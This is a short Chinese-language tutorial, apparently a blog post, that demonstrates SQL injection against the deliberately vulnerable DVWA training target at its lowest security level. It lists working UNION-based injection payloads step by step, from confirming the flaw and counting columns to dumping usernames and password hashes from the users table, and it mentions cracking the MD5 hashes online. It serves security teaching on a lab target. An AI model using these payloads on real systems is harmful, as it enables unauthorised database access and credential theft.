SQL注入演示
·
本次演示以DVWA为靶机演示,以LOW级别为例
目录

这是正常提交的
1.确认注入点
id=1' 报错,存在SQL注入漏洞

2.判断字段数
从1' order by 1 -- 开始尝试
1' order by 1 -- 不报错
1' order by 2 -- 不报错
1' order by 3 -- 报错

判断字段数为2
3,判断回显点
1' union select 1,2 --

First name是第一个字段的内容
Surname是第二个字段的内容
4.查看相关内容
查看当前数据库名
1' union select 1,database() --

查看当前数据库版本
1' union select 1,version() --

获取表名
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa' --

用户信息大概率存在users表中
获取列名
1' union select 1,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' --

获取数据
1' union select group_concat(user),group_concat(password) from users --

密码是md5加密的,可以使用网站解密

这样我们就得到了管理员的账户和密码:admin,admin
更多推荐



所有评论(0)